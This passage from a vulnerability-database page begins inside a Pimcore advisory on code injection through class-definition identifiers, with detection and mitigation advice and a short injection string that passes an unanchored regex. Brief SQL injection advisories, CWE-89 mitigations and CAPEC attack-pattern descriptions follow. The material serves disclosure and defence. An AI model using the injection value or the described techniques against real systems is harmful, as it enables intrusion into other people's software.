administrative permission (or `admin`), distinct from `objects`.\n\n**Operator-side detection / mitigation (deployable today, before a patch):**\n\n- **Detection:** File Integrity Monitoring on `var/classes/DataObject/*.php` \u2014 alert on unexpected changes, and specifically on the appearance of `function`/`__construct(` tokens in a generated class body. Raise the class-definition-import audit event to a high-priority alert. Flag any non-admin POST to `.../class/definition/configuration-view/detail/*/import`.\n- - **Interim mitigation:** restrict the import endpoint to administrators via a custom security voter; or disable class-definition import in production; or add a WAF rule limiting POST `.../class/definition/configuration-view/detail/*/import` to trusted operators.\n### Additional codegen-injection sinks sharing this root cause\n\nThe same \"unvalidated identifier \u2192 generated PHP\" pattern exists at **other identifier boundaries**:\n\n- **Class NAME \u2192 `ClassBuilder.php:104`**: `\u0027class \u0027.ucfirst($classDefinition-\u003egetName()).\u0027 extends \u0027...`. The only gate is `ClassDefinition.php:1149` `preg_match(\u0027/^[a-zA-Z]\\w+/\u0027, getName())` \u2014 **missing the `$` end-anchor**, so `Foo){};\u003cphp\u003e` passes the prefix match.\n- - **FieldCollection / ObjectBrick KEY \u2192 `FieldCollectionClassBuilder.php:58`** (`\u0027class \u0027.ucfirst($definition-\u003egetKey()).\u0027 extends \u0027`) and the objectbrick equivalent \u2014 reached via their own import endpoints.\n**Exploitability caveat:** unlike the runtime-confirmed field-name vector, the class-name vector is **NOT independently confirmed as RCE** and has a structural blocker. The class name determines the generated file\u0027s path, and PHPClassDumper writes the file but does not include it \u2014 the generated class is executed only when the autoloader maps a clean class reference. The field-name vector is reliable precisely because it keeps the filename clean. The class-name/key sinks are therefore reported here as **fix-completeness / defense-in-depth** (anchor the regex), not as a second confirmed RCE.\n\n## Disclosure Timeline\n\n- 2026-05-29: Discovered (sibling sweep of CVE-2026-5394); RCE sink runtime-confirmed in a lab harness using the unmodified builder source.\n- - (Reported to vendor: to be filled on submission via GitHub Security Advisory.)",
  "id": "GHSA-9x44-4gxf-8c25",
  "modified": "2026-08-28T19:17:42Z",
  "published": "2026-08-28T19:17:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/pimcore/security/advisories/GHSA-9x44-4gxf-8c25"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/pimcore/pull/19183"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/pimcore/commit/a4f8c3cfee58b7d5fe4873d67782eff58dae9b9d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pimcore/pimcore"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/pimcore/releases/tag/v2026.1.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pimcore Vulnerable to Remote Code Execution via DataObject Class-Definition Field Name"
}

GHSA-9X47-4F4H-7RF6

Vulnerability from github – Published: 2022-05-17 05:07 – Updated: 2022-05-17 05:07
VLAI
Details

SQL injection vulnerability in the management console (aka Java console) on the Symantec Security Information Manager (SSIM) appliance 4.7.x and 4.8.x before 4.8.1 allows remote authenticated users to execute arbitrary SQL commands via unspecified vectors.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2013-1613"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2013-07-08T17:55:00Z",
    "severity": "MODERATE"
  },
  "details": "SQL injection vulnerability in the management console (aka Java console) on the Symantec Security Information Manager (SSIM) appliance 4.7.x and 4.8.x before 4.8.1 allows remote authenticated users to execute arbitrary SQL commands via unspecified vectors.",
  "id": "GHSA-9x47-4f4h-7rf6",
  "modified": "2022-05-17T05:07:45Z",
  "published": "2022-05-17T05:07:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-1613"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/60796"
    },
    {
      "type": "WEB",
      "url": "http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory\u0026pvid=security_advisory\u0026year=\u0026suid=20130701_00"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-9X4F-6JXQ-Q2F4

Vulnerability from github – Published: 2023-11-02 15:30 – Updated: 2023-11-02 15:30
VLAI
Details

Online Food Ordering System v1.0 is vulnerable to multiple Unauthenticated SQL Injection vulnerabilities. The '*_role' parameter of the routers/user-router.php resource does not validate the characters received and they are sent unfiltered to the database.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-45346"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-02T15:15:08Z",
    "severity": "CRITICAL"
  },
  "details": "Online Food Ordering System v1.0 is vulnerable to multiple Unauthenticated SQL Injection vulnerabilities. The \u0027*_role\u0027 parameter of the routers/user-router.php resource does not validate the characters received and they are sent unfiltered to the database.\n\n",
  "id": "GHSA-9x4f-6jxq-q2f4",
  "modified": "2023-11-02T15:30:27Z",
  "published": "2023-11-02T15:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-45346"
    },
    {
      "type": "WEB",
      "url": "https://fluidattacks.com/advisories/hann"
    },
    {
      "type": "WEB",
      "url": "https://projectworlds.in"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9X4Q-463C-8GCM

Vulnerability from github – Published: 2022-09-25 00:00 – Updated: 2022-09-27 00:00
VLAI
Details

Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the search_term parameter at /net-banking/customer_transactions.php.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-40120"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-23T22:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the search_term parameter at /net-banking/customer_transactions.php.",
  "id": "GHSA-9x4q-463c-8gcm",
  "modified": "2022-09-27T00:00:18Z",
  "published": "2022-09-25T00:00:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-40120"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zakee94/online-banking-system/issues/14"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0clickjacking0/BugReport/blob/main/online-banking-system/sql_injection7.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9X4W-PHF4-V7CF

Vulnerability from github – Published: 2025-04-16 18:31 – Updated: 2025-04-16 18:31
VLAI
Details

A vulnerability has been identified in TeleControl Server Basic (All versions < V3.1.2.2). The affected application is vulnerable to SQL injection through the internally used 'UpdateGateways' method. This could allow an authenticated remote attacker to bypass authorization controls, to read from and write to the application's database and execute code with "NT AUTHORITY\NetworkService" permissions. A successful attack requires the attacker to be able to access port 8000 on a system where a vulnerable version of the affected application is executed on. (ZDI-CAN-25915)

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-31352"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-16T18:16:07Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability has been identified in TeleControl Server Basic (All versions \u003c V3.1.2.2). The affected application is vulnerable to SQL injection through the internally used \u0027UpdateGateways\u0027 method. This could allow an authenticated remote attacker to bypass authorization controls, to read from and write to the application\u0027s database and execute code with \"NT AUTHORITY\\NetworkService\" permissions. A successful attack requires the attacker to be able to access port 8000 on a system where a vulnerable version of the affected application is executed on. (ZDI-CAN-25915)",
  "id": "GHSA-9x4w-phf4-v7cf",
  "modified": "2025-04-16T18:31:55Z",
  "published": "2025-04-16T18:31:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31352"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-443402.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-9X54-W9PF-VM7W

Vulnerability from github – Published: 2022-05-17 02:18 – Updated: 2022-05-17 02:18
VLAI
Details

SQL injection vulnerability in WorkArea/ContentRatingGraph.aspx in Ektron CMS400.NET 7.5.2 and earlier allows remote attackers to execute arbitrary SQL commands via the res parameter.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2008-5122"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-11-18T00:30:00Z",
    "severity": "HIGH"
  },
  "details": "SQL injection vulnerability in WorkArea/ContentRatingGraph.aspx in Ektron CMS400.NET 7.5.2 and earlier allows remote attackers to execute arbitrary SQL commands via the res parameter.",
  "id": "GHSA-9x54-w9pf-vm7w",
  "modified": "2022-05-17T02:18:06Z",
  "published": "2022-05-17T02:18:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-5122"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/43268"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/30824"
    },
    {
      "type": "WEB",
      "url": "http://www.digitrustgroup.com/advisories/web-application-security-ektron.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/29857"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-9X5P-GMQF-87WW

Vulnerability from github – Published: 2025-05-15 18:31 – Updated: 2025-05-15 18:31
VLAI
Details

A vulnerability classified as critical has been found in Campcodes Sales and Inventory System 1.0. Affected is an unknown function of the file /pages/sales_add.php. The manipulation of the argument discount leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-4708"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-15T17:15:56Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability classified as critical has been found in Campcodes Sales and Inventory System 1.0. Affected is an unknown function of the file /pages/sales_add.php. The manipulation of the argument discount leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.",
  "id": "GHSA-9x5p-gmqf-87ww",
  "modified": "2025-05-15T18:31:47Z",
  "published": "2025-05-15T18:31:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4708"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lanxia0/CVE/issues/2"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.309006"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.309006"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.568288"
    },
    {
      "type": "WEB",
      "url": "https://www.campcodes.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
Mitigation MIT-27
Architecture and Design

Strategy: Parameterization

  • If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
  • Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]
Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

  • Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-28
Implementation

Strategy: Output Encoding

  • While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
  • Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
  • Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.
  • When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.
Mitigation MIT-21
Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Mitigation MIT-39
Implementation
  • Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
  • If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
  • Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
  • In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.
Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481.

Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-108: Command Line Execution through SQL Injection

An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.

CAPEC-109: Object Relational Mapping Injection

An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject their own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.

CAPEC-110: SQL Injection through SOAP Parameter Tampering

An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.

CAPEC-470: Expanding Control over the Operating System from the Database

An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc.

CAPEC-66: SQL Injection

This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input.

CAPEC-7: Blind SQL Injection

Blind SQL Injection results from an insufficient mitigation for SQL Injection. Although suppressing database error messages are considered best practice, the suppression alone is not sufficient to prevent SQL Injection. Blind SQL Injection is a form of SQL Injection that overcomes the lack of error messages. Without the error messages that facilitate SQL Injection, the adversary constructs input strings that probe the target through simple Boolean SQL expressions. The adversary can determine if the syntax and structure of the injection was successful based on whether the query was executed or not. Applied iteratively, the adversary determines how and where the target is vulnerable to SQL Injection.